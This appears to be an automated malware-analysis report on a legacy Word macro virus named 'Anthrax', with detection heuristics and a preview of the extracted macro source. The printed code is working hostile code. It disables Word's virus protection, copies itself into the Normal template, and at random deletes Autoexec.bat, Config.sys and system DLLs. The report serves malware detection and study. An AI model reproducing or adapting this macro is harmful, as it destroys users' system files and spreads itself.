MALICIOUS
320
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a legacy Word document containing a WordBasic macro named 'Anthrax'. The macro is designed to infect the Normal template by copying itself, and it also attempts to display a message box to the user. The presence of AutoOpen and FileNew macros, along with the use of WordBasic functions, strongly suggests a macro-based infection attempt.
Heuristics 6
-
ClamAV: Doc.Trojan.Zmk-5 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Zmk-5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 26512 bytes |
SHA-256: f857885e7a156d22d9175938adba5523ee5653b267e63f2d0cb6ebbb3b10f2a9 |
|||
|
Detection
ClamAV:
Doc.Trojan.Zmk-5
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Anthrax"
Sub FileNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorFN
Call Anthrax
ErrorFN:
End Sub
Sub AutoNew()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAN
Call Anthrax
ErrorAN:
End Sub
Sub AutoOpen()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAO
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0) = "Anthrax" Then
AnthraxInstalled = -1
End If
Next i
If Not AnthraxInstalled Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="Anthrax", Object:=wdOrganizerObjectProjectItems
MsgBox "Modèle Normal infecté!!!!", vbCritical, "Virus Anthrax"
End If
ErrorAO:
End Sub
Private Sub Anthrax()
Application.EnableCancelKey = wdCancelDisabled
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
Options.SaveNormalPrompt = False
On Error GoTo ErrorAx
MsgBox "Anthrax est en train de contaminer votre ordinateur!!!!", vbCritical, "Virus Anthrax"
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
For i = 1 To 1000
ActiveDocument.Shapes.AddLine(0#, 0#, 597.6, 0#).Select
ActiveDocument.Shapes.AddLine(0#, i, 597.6, i).Select
Selection.ShapeRange.Line.Weight = 6#
Selection.ShapeRange.Line.Visible = msoTrue
Selection.ShapeRange.Line.Style = msoLineSingle
Next i
Dim Nbre, MyDate
MyDate = Date
D$ = Mid(MyDate, 1, 2)
Randomize
Nbre = Int(Rnd * 20) + 1
If Nbre = 1 Or Nbre = 3 Or Nbre = 5 Or Nbre = 7 Then
Kill "C:\Autoexec.bat"
Kill "C:\Config.sys"
Kill "C:\Windows\System\*.dll"
End If
If Nbre = 2 Or Nbre = 4 Or Nbre = 6 Or Nbre = 8 Then
Message:
StatusBar = "HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m'appelle Anthrax et je vais détruire ton ordinateur!!!!"
For i = 1 To 400000
Next i
StatusBar = " HAHAHAHAHA!!!!, Je m
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.